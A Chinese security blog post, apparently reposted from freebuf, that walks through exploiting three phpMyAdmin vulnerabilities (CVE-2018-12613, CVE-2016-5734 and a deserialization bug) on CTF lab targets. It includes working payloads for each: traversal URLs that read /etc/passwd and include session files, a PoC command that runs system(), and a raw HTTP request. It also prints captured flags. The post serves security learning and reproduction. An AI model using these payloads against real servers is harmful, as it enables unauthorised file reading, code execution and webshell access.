phpMyAdmin漏洞利用总结 – 作者:comet2020

一、简介

phpMyAdmin 是一个用PHP编写的免费软件工具,可以通过 Web对Mysql进行管理,它能够创建和删除数据库,创建/删除/修改表格,删除/编辑/新增字段,执行SQL脚本等。说白了就是一个mysql管理工具。

版本对应关系

截止到2021年7月3日,最新版目前已经更新到 phpMyAdmin 5.1.1

phpMyAdmin4.9.0当前版本兼容PHP5.5至7.3和MySQL5.5及更新版本。

phpMyAdmin4.8.0,兼容PHP5.5至7.2和MySQL5.5及更新版本。

phpMyAdmin4.6.0-4.7.0,兼容PHP5.5至7.1和MySQL5.5及更新版本。

phpMyAdmin4.5.0,兼容PHP5.5到7.0和MySQL5.5。

phpMyAdmin4.4.0,兼容PHP5.3.7到7.0和MySQL5.5。

phpMyAdmin4.1.0-4.3.0,兼容PHP5.3和MySQL5.5。

phpMyAdmin4.0.0与PHP5.2和MySQL5兼容。不支持PHP5.5或更新版本。

二、漏洞利用

(一)远程文件包含漏洞(CVE-2018-12613)

1、影响版本

phpmyadmin 4.8.0

phpmyadmin 4.8.1

2、漏洞原理

phpmyadmin 4.8.1 版本 index.php的 50-63行代码:

$target_blacklist = array (
    'import.php', 'export.php'
);
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

满足以下5个条件后就会include$_REQUEST['target']的内容:

$_REQUEST['target']不为空

$_REQUEST['target']是字符串

$_REQUEST['target']不以index开头

$_REQUEST['target']不在$target_blacklist中即target 参数不是 import.php 或 export.php。

Core::checkPageValidity($_REQUEST['target'])为真

找到Core::checkPageValidity方法

在libraries\classes\Core.php 中的443-476行代码:

public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

问题出现在了 urldecode()

我们可以利用这个函数绕过白名单检测!

我们把   ?url编码为 %253f 即可绕过验证!

例如传入

?target=db_datadict.php%253f

由于服务器会自动解码一次,所以在checkPageValidity()中,$page的值一开始会是db_datadict.php%3f,又一次url解码后变成了db_datadict.php?,这次便符合了?前内容在白名单的要求,函数返回true。

但在index.php中$_REQUEST[‘target’]仍然是db_datadict.php%3f,而且会被include,通过目录穿越,就可造成任意文件包含。

3、漏洞复现

这里我们使用 buuctf靶场中real类的 [PHPMYADMIN]CVE-2018-12613 做演示。

图片[1]-phpMyAdmin漏洞利用总结 – 作者:comet2020-安全小百科

这个漏洞要利用需要有一个比较苛刻的前提:能够访问phpmyadmin,也就是说得拿到phpmyadmin的权限才可以。(buuctf靶场的话直接登录就可以)

访问http://your-ip:8080/index.php?target=db\u sql.php%253f/../../../../../../../../../etc/passwd,结果表明存在文件包含漏洞:

图片[2]-phpMyAdmin漏洞利用总结 – 作者:comet2020-安全小百科

我们可以执行SELECT '<?=phpinfo()?>';(前提是已经将'<?=phpinfo()?>'写入到了数据库中), 然后检查sessionid(cookie中phpMyAdmin的值),然后包括会话文件。

图片[3]-phpMyAdmin漏洞利用总结 – 作者:comet2020-安全小百科

phpMyAdmin=01f61e5e23d4444df4b66b027652f750;

payload:

http://node3.buuoj.cn:27574/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_01f61e5e23d4444df4b66b027652f750即可以访问到phpinfo

图片[4]-phpMyAdmin漏洞利用总结 – 作者:comet2020-安全小百科

得到flag:flag{b4d37768-9fca-4d17-b13c-befa563a1c5c}

同理,也可以写入木马,进行连接获得shell。

4、解决方案

将phpmyadmin 更新为4.8.1以上的版本。

(二)远程代码执行漏洞(CVE-2016-5734)

1、影响版本

4.0.10.16之前4.0.x版本

4.4.15.7之前4.4.x版本

4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞)

2、漏洞复现

同样使用buuctf靶场中real类的 [PHPMYADMIN]CVE-2016-5734 做演示

图片[5]-phpMyAdmin漏洞利用总结 – 作者:comet2020-安全小百科

该漏洞利用需要登录,且能够写入数据。

这里,我们使用POC https://www.exploit-db.com/exploits/40185/来复现漏洞。

python 40185.py -c 'system(env);' -u root -p root -d test  http://your-ip:8080/
    • -c是待执行的PHP语句
    • -d是已经可以写的数据库,如果没有指定表名,这个POC会创建一个名为prgpwn的表。

通过system(env)打印环境变量获得flag,同理可以修改env 为其他命令来执行。

图片[6]-phpMyAdmin漏洞利用总结 – 作者:comet2020-安全小百科

获得flag:flag{a3ed9546-8500-462b-b2a7-0ed2d3f61da8}

(三)反序列化漏洞(WooYun-2016-199433)

1、影响版本

phpmyadmin 2.x

2、漏洞复现

使用 burpsuite发送如下数据包,即可读取/etc/passwd文件

POST /scripts/setup.php HTTP/1.1
Host: node4.buuoj.cn:27850
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 82

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

图片[7]-phpMyAdmin漏洞利用总结 – 作者:comet2020-安全小百科

参考文章

来源:freebuf.com 2021-07-04 22:12:47 by: comet2020

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论